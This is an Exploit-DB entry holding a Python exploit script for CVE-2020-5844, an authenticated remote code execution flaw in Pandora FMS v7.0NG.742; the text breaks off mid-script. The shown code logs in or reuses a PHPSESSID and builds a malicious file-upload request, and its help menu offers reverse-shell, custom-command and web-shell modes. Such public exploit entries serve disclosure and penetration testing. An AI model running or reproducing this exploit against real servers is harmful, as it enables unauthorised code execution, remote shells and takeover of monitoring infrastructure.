Exploit-DB #50961
Description: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2022-06-14
Author: UNICORD

Exploit:
# Exploit Title: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated)
# Date: 05/20/2022
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/742_FIX_PERL2020/Tarball/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz
# Version: v7.0NG.742
# Tested on: Pandora FMS v7.0NG.742 (Ubuntu)
# CVE: CVE-2020-5844
# Source: https://github.com/UNICORDev/exploit-CVE-2020-5844
# Description: index.php?sec=godmode/extensions&sec2=extensions/files_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742_FIX_PERL2020.

#!/usr/bin/env python3

# Imports
try:
    import requests
except:
    print(f"ERRORED: RUN: pip install requests")
    exit()
import sys
import time
import urllib.parse

# Class for colors
class color:
    red = '\033[91m'
    gold = '\033[93m'
    blue = '\033[36m'
    green = '\033[92m'
    no = '\033[0m'

# Print UNICORD ASCII Art
def UNICORD_ASCII():
    print(rf"""
{color.red}        _ __,~~~{color.gold}/{color.red}_{color.no}        {color.blue}__  ___  _______________  ___  ___{color.no}
{color.red}    ,~~`( )_( )-\|       {color.blue}/ / / / |/ /  _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red}        |/|  `--.       {color.blue}/ /_/ /    // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
    """)

# Print exploit help menu
def help():
    print(r"""UNICORD Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution

Usage:
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -u <username> <password>
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID>
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>]
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>]
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>]
  python3 exploit-CVE-2020-5844.py -h

Options:
  -t    Target host and port. Provide target IP address and port.
  -u    Target username and password. Provide username and password to log in to Pandora FMS.
  -p    Target valid PHP session ID. No username or password needed. (Optional)
  -s    Reverse shell mode. Provide local IP address and port. (Optional)
  -c    Custom command mode. Provide command to execute. (Optional)
  -w    Web shell custom mode. Provide custom PHP file name. (Optional)
  -h    Show this help menu.
""")
    exit()

# Pretty loading wheel
def loading(spins):

    def spinning_cursor():
        while True:
            for cursor in '|/-\\':
                yield cursor

    spinner = spinning_cursor()
    for _ in range(spins):
        sys.stdout.write(next(spinner))
        sys.stdout.flush()
        time.sleep(0.1)
        sys.stdout.write('\b')

# Run the exploit
def exploit(exploitMode, targetSess):

    UNICORD_ASCII()

    # Print initial variables
    print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution{color.no}")
    print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
    if targetSess is not None:
        print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}")
    elif targetUser is not None:
        print(f"{color.blue}USERNAME: {color.gold}{targetUser}{color.no}")
        print(f"{color.blue}PASSWORD: {color.gold}{targetPass}{color.no}")

    if exploitMode == "command":
        print(f"{color.blue}COMMAND: {color.gold}{command}{color.no}")
    if exploitMode == "web":
        print(f"{color.blue}WEBFILE: {color.gold}{webName}{color.no}")
    if exploitMode == "shell":
        print(f"{color.blue}LOCALIP: {color.gold}{localIP}:{localPort}{color.no}")
        print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
    print(f"{color.blue}WEBSITE: {color.gold}http://{targetIP}:{targetPort}/pandora_console{color.no}")

    loading(15)

    # If a PHPSESSID is not provided, grab one with valid username and password
    if targetSess is None:
        try:
            getSession = requests.post(f"http://{targetIP}:{targetPort}/pandora_console/index.php?login=1", data={"nick": targetUser, "pass": targetPass, "login_button": "login"})
            targetSess = getSession.cookies.get('PHPSESSID')
            print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}")
            if "login_move" in getSession.text:
                print(f"{color.blue}ERRORED: {color.red}Invalid credentials!{color.no}")
        except:
            print(f"{color.blue}ERRORED: {color.red}Could not log in to website!{color.no}")
            exit()

    # Set headers, parameters, and cookies for post request
    headers = {
    'Host': f'{targetIP}',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]231871874',
    'Content-Length': '1289',
    'Connection': 'close',
    'Referer': f'http://{targetIP}:{targetPort}/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1'
    }
    params =